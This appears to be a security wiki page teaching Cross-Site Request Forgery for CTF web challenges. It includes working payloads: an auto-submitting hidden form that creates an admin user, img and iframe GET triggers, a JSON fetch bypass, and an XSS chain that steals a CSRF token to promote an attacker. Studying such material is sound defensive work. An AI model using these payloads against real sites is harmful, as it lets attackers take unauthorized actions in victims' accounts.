Athena Wiki
Web ExploitationAuthentication

Cross-Site Request Forgery (CSRF)

webintermediate

Exploit CSRF vulnerabilities to perform unauthorized actions on behalf of authenticated users.

webcsrfcross-siterequest-forgerysame-originsamesite

Cross-Site Request Forgery (CSRF)

CSRF tricks an authenticated user's browser into making a request to a target site. Because the browser automatically includes cookies, the server accepts the request as legitimate. CTF web challenges often chain CSRF with XSS or use it to make an admin perform an action.


How CSRF Works

1. Victim is logged in to bank.com (has auth cookie)
2. Victim visits attacker.com
3. attacker.com has hidden form that POSTs to bank.com/transfer
4. Victim's browser sends the POST with bank.com cookie included
5. Bank processes the transfer as if the victim initiated it

Basic CSRF Exploit Page

<!-- Host on attacker.com, send link to victim -->
<html>
  <body onload="document.forms[0].submit()">
    <form action="http://target.com/admin/create-user" method="POST">
      <input type="hidden" name="username" value="attacker" />
      <input type="hidden" name="password" value="password123" />
      <input type="hidden" name="role" value="admin" />
    </form>
  </body>
</html>

CSRF via GET Request

Some actions use GET requests (even though they shouldn't):

<!-- Simple img tag triggers GET -->
<img src="http://target.com/delete?id=42" />

<!-- Or iframe -->
<iframe
  src="http://target.com/admin/promote?user=attacker&role=admin"
  hidden
></iframe>

Bypassing CSRF Defenses

Bypass 1: CSRF Token in Referer Only

If validation only checks the Referer header:

# Remove the Referer header entirely
POST /admin/action HTTP/1.1
Host: target.com
# No Referer header

Bypass 2: Weak Token Validation

# Token checked but not properly validated:
# - Token tied to session but not to action
# - Token predictable (timestamp-based)
# - Token not validated if omitted
# Try: send request without the CSRF token field

Bypass 3: CORS Misconfiguration

If the server has:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

You can make credentialed cross-origin requests from JavaScript.

Bypass 4: Content-Type Switch

If CSRF protection only applies to application/x-www-form-urlencoded but not JSON:

&lt;script&gt;
  fetch("http://target.com/api/action", {
    method: "POST",
    credentials: "include",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({ action: "promote", user: "attacker" }),
  });
&lt;/script&gt;

Bypass 5: Token Leak via Referer

If the CSRF token appears in the URL (bad practice), it leaks via the Referer header:

# If victim visits page with CSRF token in URL:
http://target.com/action?csrf_token=abc123
# And that page loads a resource from your server:
# Your server's access log contains abc123 in the Referer header

CSRF + XSS Chain

In CTF challenges, CSRF is often chained with XSS. XSS on the same origin can read CSRF tokens:

// XSS payload: read CSRF token and submit a CSRF-protected form
fetch("/settings", { credentials: "include" })
  .then((r) => r.text())
  .then((html) => {
    // Parse CSRF token from HTML
    let parser = new DOMParser();
    let doc = parser.parseFromString(html, "text/html");
    let token = doc.querySelector('input[name="csrf_token"]').value;

    // Now submit the protected form with the real token
    return fetch("/admin/promote", {
      method: "POST",
      credentials: "include",
      headers: { "Content-Type": "application/x-www-form-urlencoded" },
      body: `user=attacker&role=admin&csrf_token=${token}`,
    });
  });

CSRF in CTF Context

In CTF challenges, CSRF is usually triggered by:

  1. A "report to admin" button - admin visits your URL
  2. An XSS bot that visits attacker-controlled pages
  3. An email link that the admin clicks

Your CSRF page must be accessible (use a webhook.site or a simple Flask server).


Testing Checklist

  • Find a sensitive action (change password, add admin, delete data)
  • Check if a CSRF token is present in the request
  • Try removing the CSRF token field - does request still work?
  • Try using an empty CSRF token
  • Check if token is tied to session or to specific action
  • Is SameSite cookie attribute set? (Strict/Lax blocks most CSRF)
  • Check CORS headers for wildcards
  • Can XSS on the same site read the token?
  • Does the action use GET? → img tag is sufficient

Last updated on

On this page